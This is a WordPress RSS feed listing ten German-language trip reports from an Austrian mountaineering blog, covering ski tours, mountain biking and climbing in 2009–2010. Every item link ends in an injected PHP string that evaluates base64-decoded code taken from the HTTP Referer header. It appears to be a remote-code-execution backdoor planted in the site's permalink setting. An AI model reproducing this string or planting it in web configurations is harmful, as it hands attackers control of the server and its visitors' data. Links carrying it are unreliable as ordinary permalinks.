<?xml version="1.0" encoding="UTF-8"?><!-- generator="WordPress/2.7.1" -->
<rss version="0.92">
<channel>
	<title></title>
	<link>http://gatsch.com/wopre</link>
	<description></description>
	<lastBuildDate>Mon, 05 Jul 2010 13:56:16 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	
	<item>
		<title>Königstour Karwendl</title>
		<description>Mountainbiketour durchs Karwendl über das Lamsenjoch und das Plumsjoch

[caption id="attachment_571" align="alignnone" width="300" caption="Lamsenjoch"][/caption]

Teilnehmer: HenischFranz (Guide u. Geburtstagskind), Schellhorn Franz, Lindbichler Paul, Brandstetter Berhard, Erhart Matthias

Treffpunkt Freitags abend bei Henei in Vomp, kurze Lagebesprechung bei einem Schlafumtrunk. Nachtruhe.



Samstag in der Früh brechen wir bei herrlichem Wetter auf. Beim Bäcker Ruetz geniesen ...</description>
		<link>http://gatsch.com/wopre/2010/07/03/konigstour-karwendl/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Skitourenwochenende Venedigergruppe</title>
		<description>

Essener Rostockerhütte - Großer Geiger 3.360m - Kürsinger Hütte - Großvenediger (Aufgrund schlechtem Wetter am Gipfel der großen Geigers abgebrochen)

Teilnehmer: Schellhorn Franz, Henisch Franz, Lindbichler Paul, Strasser Peter, Matthias Erhart

Freitag 30.04.2010
Anreise ins Virgental, beim Aufstieg zur Essener Rostockerhütte scheint zuerst noch die Sonne aber es zieht leider schon zunehmend zu. ...</description>
		<link>http://gatsch.com/wopre/2010/05/01/skitourenwochenende-venedigergruppe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Skitour Kreuzkogel (2.686m) übers Thomaseck (2.300m)</title>
		<description>Der für dieses Wochenende geplante Ausflug ins Ortlergebiet (Königsspitze und Monte Cevedale) wurde aufgrund des schlechten Wetterberichtes abgesagt. Nach starken Niederschlägen (Schneegrenze bei ca. 1.2oom) in der Nacht präsentiert sich ein herrlicher Tag mit Kaiserwetter. Laut Panoramakamera ist die Goldbergbahn in Sportgastein wegen technischer Probleme außer betrieb. Super, dann gehe ...</description>
		<link>http://gatsch.com/wopre/2010/04/05/skitour-kreuzkogel-2686m-ubers-thomaseck-2300m/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Skitour Geißkarkopf 2.385m (Goaßinger)</title>
		<description>Seit Jahren schaue ich bei jeder Fahrt nach Gastein in Laderding auf die Waldschneise unterhalb der Laderdinger Almen. Irgendwie verlockend für eine Skitour. Schellei und Henei denken sich das selbe, also auf geht´s auf den Goaßinger. Das Auto stellen wir bei der neuen Geschiebewehr beim Kampbach oberhalb Laderding ab (860m). ...</description>
		<link>http://gatsch.com/wopre/2010/01/16/skitour-geiskarkopf-2385m-goasinger/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Silvesterskitour Hüttenkogel 2.231m</title>
		<description>Die letzte Skitour im alten Jahr führt uns auf den Hüttenkogel in Bad Gastein am berühmten Graukogel (Austragungsort der Alpinen Ski WM 1958). Der Ausgangspunkt ist der Schachenbauer 1.300m von dem wir zunächst auf der Piste bis unterhalb der Zehentner Hütte aufsteigen. Nun zweigen wir rechts in die unpräparierte Herrenrennstrecke ...</description>
		<link>http://gatsch.com/wopre/2009/12/31/silvesterskitour-huttenkogel-2231m/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Stefanieskitour Grinnköpfl 1.707m</title>
		<description>Traditionell brechen wir jedes Jahr am Stefanietag zu einer Skitour auf. Meist erlauben Schneeverhältnisse und Lawienensituation keine Touren in den Hohen Tauern und so fällt heuer unsere Wahl auf das Grinnköpfl. Ein Tour über Almwiesen und kurze Waldstücke, auch gut geeignet bei wenig Schnee, in den Salzburger Schieferbergen.
Der Ausgangspunkt ist ...</description>
		<link>http://gatsch.com/wopre/2009/12/26/stefanieskitour-grinnkopfl-1707m/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Wintersonnenwende Gaisberg 1.288m</title>
		<description>Wenn es der Schnee erlaubt, packen wir (Albert und Matthias), um zur Sonnwend zu gelangen, manchmal die Tourenski aus. So geschehen heuer am 21.12.2009. Starker Schneefall vormittags lässt uns auf gute Verhältnisse hoffen. Gegen 18.00 Uhr beginnen wir unser Tour in Aigen in der Gänsbrunnstrasse am Fuße des Gaisbergs (450m). ...</description>
		<link>http://gatsch.com/wopre/2009/12/21/wintersonnenwende-gaisberg-1288m/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Klettern in Karlstein (Bad Reichenhall) - 22.09.2009</title>
		<description>Der obligate Kletterdienstag führte uns zum wiederholten Mal in den Klettergarten nach Karlstein bei Bad Reichenhall. In Karlstein direkt vor der Fußgänger-Ampel zuerst nach links und gleich danach nach rechts in Richtung Kugelbachbauer abbiegen. Nach ca. 200 m erreicht man den Parkplatz. Von hier geht´s etwa 10 min. per pedes ...</description>
		<link>http://gatsch.com/wopre/2009/09/25/klettern-in-karlstein-bad-reichenhall-22092009/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Ebensee Mountainbike - Klassiker 30.08.2009</title>
		<description>Habe die Route im "Tour" Magazin gefunden und jetzt endlich ausprobiert. Eigendlich alles SUPER aber irgendwie haben wir es nicht geschafft zum Offensee zu gelangen ohne unsere Räder jeweils eine dreiviertel Stunde durch irgendwelche Wälder zu tragen. Falls mir jemand sagen was wir falsch gemacht haben, ich habe das GPS ...</description>
		<link>http://gatsch.com/wopre/2009/08/31/ebensee-mountainbike-klassiker-30082009/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Klettertour Untersberg Dopplerwand, Route Via Pikolon (V) und Ostgrad (II)</title>
		<description>Samstag, 15.08.2009
Maria Himmelfahrt, ein strahlend schöner Tag, heiße Sommertemperaturen und hunderte von Wanderern am Dopplersteig im Aufstieg zur Bergmesse. Ideale Bedingungen um den Massen zu entfliehen und die Dopplerwand zu durchsteigen. So der Plan von Andi und mir. Als Planungsgrundlage dient uns der Kletterführer "Rock Projekts". Wir weichen aber von ...</description>
		<link>http://gatsch.com/wopre/2009/08/21/klettertour-untersberg-dopplerwand-route-via-pikolon-v-und-ostgrad-ii/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
</channel>
</rss>
